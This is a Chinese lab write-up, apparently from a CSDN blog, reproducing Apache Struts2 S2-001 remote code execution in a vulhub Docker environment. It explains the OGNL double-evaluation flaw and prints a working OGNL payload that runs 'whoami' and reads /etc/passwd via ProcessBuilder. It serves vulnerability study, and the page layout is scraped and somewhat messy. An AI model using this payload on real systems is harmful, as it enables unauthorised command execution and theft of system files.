![]()
Apache Struts2
是一个基于 MVC
设计模式的 Web
应用框架,会对某些标签属性(比如 id
)的属性值进行二次表达式解析,因此在某些场景下将可能导致远程代码执行
Struts2 框架漏洞总结与复现 (上) 含 Struts2 检测工具_struts2 漏洞检查工具 - CSDN 博客
# S2-001 RCE
版本 Struts 2.0.0 - 2.0.8
注册或登录用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value}
进行解析,然后重新填充到对应的表单数据中,由于 ** 后端使 **** 用%{value}
对提交的数据执行了一次 OGNL
** 表达式解析,所以可以直接构造 Payload
进行命令执行
进入 vulhub
目录开始构建启动
1 2
| docker compose build docker compose up -d
|
![]()
![]()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| 获取用户whoami,替换里面的命就可以执行对应的
%{ #a=(new java.lang.ProcessBuilder(new java.lang.String[]{" whoami "})).redirectErrorStream(true).start(), #b=#a.getInputStream(), #c=new java.io.InputStreamReader(#b), #d=new java.io.BufferedReader(#c), #e=new char[50000], #d.read(#e), #f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"), #f.getWriter().println(new java.lang.String(#e)), #f.getWriter().flush(),#f.getWriter().close() } --------------------
[]{"cat","/etc/passwd"}))
[]{"whoami"}))
|
输入读取文件 Payload
![]()
回显文件成功命令执行
![]()